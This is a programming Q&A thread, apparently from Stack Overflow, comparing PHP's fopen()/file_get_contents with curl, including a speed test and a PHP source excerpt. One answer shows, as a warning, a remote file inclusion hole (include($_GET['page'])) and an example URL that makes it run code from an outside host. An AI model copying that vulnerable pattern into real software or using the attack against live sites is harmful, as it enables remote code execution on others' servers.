I'm writing some code that will need to speak to a web service over HTTP(s). In the past I've used the curl library. Recently, I noticed that I can simply use fopen() to access a remote URL and it seems far simpler.
Curl seems to be much more configurable, having a plethora of options. Beyond that configurability, does it matter which method is used? If so, which is better and why?
fopen()
will only open remote URLs if allow_fopen_url
is enabled in php.ini
.
However in versions prior to 5.2.0, this was exceedingly dangerous because the include
function would also download and parse PHP code from remote sites. A naive coder could easily be caught out with code like:
<?php
$page = $_GET['page'];
include($page);
?>
at which point an attacker just has to ask for http://example.com/script.php?page=http://example.net/my_exploit_script
to execute their own code on the system and introduce an exploit. Unfortunately the default value for allow_fopen_url
is 'on'.
Fortunately, since 5.2.0 there's a separate setting (which should default to 'off') called allow_url_include
which prevents include
from downloading remote code.
Personally, if you've got the option to use Curl, use that rather than fopen
.
As Alnitak said, using CURL does not depend on the PHP settings.
I've done some speed tests
file_get_contents
with my
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
Result:
0.263456821442
0.0626730918884
CURL is 4 times faster :)
side note: PHP can be configured to use curl for the http url_wrapper instead of using "its own" implementation.
ext/curl/interface.c:
#ifdef PHP_CURL_URL_WRAPPERS
# if HAVE_CURL_VERSION_INFO
{
curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
char **p = (char **)info->protocols;
while (*p != NULL) {
php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
}
}
# else
php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
# endif
#endif